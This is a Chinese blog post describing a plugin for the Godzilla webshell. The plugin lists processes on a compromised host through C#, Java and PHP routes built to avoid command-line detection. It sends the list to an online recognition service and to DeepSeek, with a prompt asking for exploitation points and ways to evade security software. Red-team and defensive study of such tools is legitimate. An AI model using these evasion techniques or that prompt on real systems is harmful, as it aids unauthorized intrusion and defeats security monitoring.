首页 渗透工具 正文
  • 本文约5973字,阅读需30分钟
  • 57
  • 0

GodzillaPlugin-tasklist

摘要

前言 在红队评估和渗透测试中,获取目标系统的进程列表是一项基础但关键的任务。通常,我们可以通过执行系统命令(如 tasklist)来获取这些信息,但这种方法容易被安全产品检测和拦截。本文将详细介绍一个针对 Godzilla Webshell 的进程列表获取与分析插件,该插件实现了多种 Bypass 技术,可以在不同语言环境下高效、隐蔽地获取进程信息,并结合棱...

前言

在红队评估和渗透测试中,获取目标系统的进程列表是一项基础但关键的任务。通常,我们可以通过执行系统命令(如 tasklist)来获取这些信息,但这种方法容易被安全产品检测和拦截。本文将详细介绍一个针对 Godzilla Webshell 的进程列表获取与分析插件,该插件实现了多种 Bypass 技术,可以在不同语言环境下高效、隐蔽地获取进程信息,并结合棱角识别和 DeepSeek AI 进行智能分析。支持特战版与4.0.1

一、插件概述

该插件是 Godzilla Webshell 的扩展模块,支持多种语言环境(C#、Java、PHP),提供了以下核心功能:

  1. 多种获取方式:支持常规命令执行和多种 Bypass 技术
  2. 自动识别:集成棱角识别服务,自动识别关键进程
  3. AI 分析:整合 DeepSeek API,提供专业的红队评估视角
  4. 跨平台支持:针对不同语言环境提供定制化解决方案

二、不同语言环境下的 Bypass 技术实现

1. C# 环境 (CShapDynamicPayload)

C# 环境下的 Bypass 实现主要通过加载自定义 DLL 并直接调用 .NET API 来获取进程列表,避免了执行系统命令。

核心实现:

private void loadAndExecuteDLL() {
    new Thread(() -> {
        try {
            // 第一步:加载DLL
            if (!this.loadState) {
                // 从assets目录加载DLL
                InputStream inputStream = this.getClass().getResourceAsStream("assets/TaskListHelper.dll");
                // ...加载DLL代码...
                this.loadState = this.payload.include(CLASS_NAME, data);
            }

            // 第二步:执行DLL获取进程列表
            ReqParameter reqParameter = new ReqParameter();
            byte[] result = this.payload.evalFunc(CLASS_NAME, "ToString", reqParameter);

            // 显示结果
            String output = this.encoding.Decoding(result);
            // ...更新UI...
        } catch (Exception ex) {
            // ...错误处理...
        }
    }).start();
}

技术优势:

  • 低检测风险:不调用系统命令,不会触发基于命令行监控的安全产品
  • 高性能:直接调用 .NET API,性能更好
  • 更丰富的信息:可以获取更详细的进程信息,如线程数、模块等
  • 定制化输出:可以根据需求定制输出格式

2. Java 环境 (JavaDynamicPayload)

Java 环境下的 Bypass 技术利用 ShellcodeLoader 插件加载并执行自定义 PE 文件,实现进程列表获取。

核心实现:

private void loadAndExecutePE() {
    new Thread(() -> {
        try {
            // 获取ShellcodeLoader插件实例
            ShellcodeLoader loader = (ShellcodeLoader) this.shellEntity.getFrame().getPlugin("ShellcodeLoader");

            // 从assets目录加载TaskListHelper.exe
            InputStream inputStream = this.getClass().getResourceAsStream("assets/TaskListHelper.exe");
            byte[] peData = functions.readInputStream(inputStream);

            // 执行PE文件获取进程列表
            byte[] result = loader.runNetPe("", peData);

            // 解码结果
            String output = this.encoding.Decoding(result);
            // ...更新UI...
        } catch (Exception ex) {
            // ...错误处理...
        }
    }).start();
}

技术优势:

  • 灵活性:可以执行任意 .NET PE 文件
  • 功能扩展:可以在 PE 文件中实现更复杂的功能
  • 隐蔽性:避免了直接命令执行,降低了被检测风险
  • 兼容性:利用现有的 ShellcodeLoader 插件,无需额外组件

3. PHP 环境 (PhpDynamicPayload)

PHP 环境下的 Bypass 技术通过注入自定义 PHP 代码,使用 proc_open 函数代替常规命令执行函数,获取进程列表。

核心实现:

private void loadAndExecutePHP() {
    new Thread(() -> {
        try {
            // 从assets目录加载tasklist.php
            InputStream inputStream = this.getClass().getResourceAsStream("assets/tasklist.php");
            byte[] phpCode = functions.readInputStream(inputStream);

            // 加载PHP代码
            if (this.payload.include("TaskListBypass", phpCode)) {
                // 执行PHP函数获取进程列表
                ReqParameter reqParameter = new ReqParameter();
                byte[] result = this.payload.evalFunc("TaskListBypass", "getProcessList", reqParameter);

                // 解码结果
                String output = this.encoding.Decoding(result);
                // ...更新UI...
            }
        } catch (Exception ex) {
            // ...错误处理...
        }
    }).start();
}

PHP 代码实现:

class TaskListBypass {
    public static function getProcessList() {
        // 检查操作系统类型
        if (stripos(PHP_OS, 'WIN') === false) {
            return "此功能仅支持 Windows 系统\n";
        }

        // 使用proc_open代替system/exec
        $command = 'tasklist /FO CSV /NH';
        $descriptorspec = [
            0 => ["pipe", "r"],
            1 => ["pipe", "w"],
            2 => ["pipe", "w"]
        ];

        $process = proc_open($command, $descriptorspec, $pipes);
        // ...处理输出...
        return self::formatOutput($output);
    }

    // ...格式化输出代码...
}

技术优势:

  • 绕过函数限制:使用 proc_open 代替常见的 system/exec/shell_exec
  • 错误处理:完善的错误捕获和处理机制
  • 格式化输出:将原始输出格式化为易读的表格形式
  • 跨平台考虑:检查操作系统类型,确保兼容性

三、棱角社区接口

平常获取结果后会手动粘贴到棱角进行识别,太懒了,直接集成到插件。

https://forum.ywhack.com/bountytips.php?process

通过将获取的进程列表发送到棱角识别服务,可以快速识别出重要的系统进程和服务。

实现原理:

private void sendRecognitionRequest() {
    new Thread(() -> {
        String taskListText = taskListInputArea.getText();
        try {
            URL url = new URL("https://forum.ywhack.com/process.php");
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            // ...设置请求参数...

            // 发送进程列表数据
            String jsonInputString = "{\"text\":\"" + taskListText.replace("\n", "\\n").replace("\"", "\\\"") + "\"}";
            // ...发送请求...

            // 处理响应
            String jsonResponse = response.toString();
            String htmlTable = convertJsonToHtmlTable(jsonResponse);
            // ...更新UI...
        } catch (Exception ex) {
            // ...错误处理...
        }
    }).start();
}

识别效果:

棱角识别会返回一个包含进程名称和对应功能的列表,帮助用户快速识别杀毒软件,办公软件,运维工具等进程

[bug]:

不知道为啥,必须Ctrl+a Ctrl+c Ctrl+v 才能获取结果。=.= 很莫名其妙

四、DeepSeek AI 分析

插件集成了 DeepSeek API,提供基于大型语言模型的专业进程分析能力,从红队评估的角度解读进程列表。

实现原理:

private void performAIAnalysis() {
    new Thread(() -> {
        try {
            String taskListText = taskListInputArea.getText();
            // 从配置中获取API Key
            String apiKey = config.getProperty(API_KEY_PROPERTY, DEFAULT_API_KEY);

            // 构造system prompt
            String systemPrompt = "你是一名专注ATT&CK战术的红队专家,基于给出的Windows进程列表:\n" +
                "1. 严格按【安全防护】【运维工具】【数据库/中间件】【办公与通讯软件】【可疑进程】分类\n" +
                // ...更多提示...

            // 调用DeepSeek API
            URL url = new URL("https://api.deepseek.com/v1/chat/completions");
            // ...发送请求和处理响应...

            // 格式化分析结果
            String formattedResult = formatAnalysisResult(analysisResult);
            // ...更新UI...
        } catch (Exception ex) {
            // ...错误处理...
        }
    }).start();
}

分析内容:

DeepSeek AI 会对进程列表进行全面分析,包括:

  1. 分类整理:将进程按安全防护、运维工具、数据库/中间件、办公软件、可疑进程分类
  2. 风险评估:按风险等级排序,突出显示高风险项
  3. 利用点分析:提供每类进程的潜在利用点和具体方法
  4. 规避建议:针对安全软件提供规避方法
  5. 特殊标记:对多实例进程、随机名文件、无签名文件添加警告标记

五、用户界面与配置

插件提供了直观的用户界面,包括进程列表显示区域、多种获取按钮、识别和分析按钮,以及 API Key 配置功能。

界面组件:

// 按钮面板布局
JPanel buttonPanel = new JPanel(new FlowLayout(FlowLayout.CENTER));
buttonPanel.add(autoButton);           // 常规命令获取
buttonPanel.add(bypassButton);         // Bypass获取
buttonPanel.add(recognizeButton);      // 棱角识别
buttonPanel.add(aiAnalyzeButton);      // AI分析
buttonPanel.add(new JLabel("API Key:"));
buttonPanel.add(apiKeyField);          // API Key输入框
buttonPanel.add(saveApiKeyButton);     // 保存配置

配置管理:

插件使用 Java Properties 管理配置,将 API Key 保存在用户主目录下的 .godzilla 文件夹中:

private void saveApiKey() {
    String apiKey = apiKeyField.getText().trim();
    config.setProperty(API_KEY_PROPERTY, apiKey);

    // 创建配置目录(如果不存在)
    File configDir = getConfigDirectory();
    if (!configDir.exists()) {
        configDir.mkdirs();
    }

    // 保存配置文件
    File configFile = new File(configDir, CONFIG_FILE_NAME);
    // ...写入配置...
}

六、使用指南

1. 基本操作流程

  1. 连接目标:使用 Godzilla 连接到目标 Webshell
  2. 选择获取方式
    • 自动获取:使用常规命令执行
    • Bypass获取:根据当前环境自动选择最佳 Bypass 方法
  3. 识别分析
    • 棱角识别:快速识别关键进程
    • AI分析:获取深度安全分析报告

2. 不同环境下的使用建议

  • C# 环境:优先使用 DLL 加载方式,性能最佳
  • Java 环境:使用 runNetPe 执行方式,功能最丰富
  • PHP 环境:使用 proc_open 方式,兼容性最好
  • Linux 系统:使用 /proc 文件系统读取方式,最为隐蔽

3. API Key 配置

  1. 注册 DeepSeek 账号并获取 API Key
  2. 在插件界面的 API Key 输入框中填入
  3. 点击"保存配置"按钮保存
  4. 配置文件将保存在 ~/.godzilla/tasklist_config.properties

七、技术对比与优势

获取方式 检测风险 功能丰富度 执行速度 适用环境
常规命令执行 全平台
DLL加载 (C#) 极快 C#
runNetPe (Java) Java
proc_open (PHP) 中低 PHP
/proc读取 (Linux) 极低 极快 Linux

八、安全建议

  1. 谨慎使用:本工具仅用于授权的安全评估和渗透测试
  2. 保护API Key:不要将包含 API Key 的配置文件提交到代码仓库
  3. 定期更新:关注最新的安全防护绕过技术,及时更新插件
  4. 合规使用:确保在合法授权的范围内使用工具

九、未来展望

  1. 更多Bypass技术:研究并实现更多的进程列表获取方法
  2. 跨平台支持增强:完善对不同操作系统的支持
  3. 本地AI分析:实现离线AI分析,减少API依赖
  4. 更丰富的进程信息:获取更详细的进程属性和关联信息
  5. 自动化利用:基于识别结果自动推荐利用方案

总结

本插件通过多种技术手段,实现了在不同语言环境下高效、隐蔽地获取进程列表的功能,并结合棱角识别和 DeepSeek AI 提供专业的分析能力。这种组合使得红队评估人员能够快速了解目标系统的运行状态,识别关键进程和潜在的攻击面,提高评估效率和质量。

无论是常规的渗透测试还是高级的红队评估,这个工具都能提供有价值的系统信息和专业的安全分析,是红队工具箱中的一个重要组件。

评论
博主关闭了评论
友情链接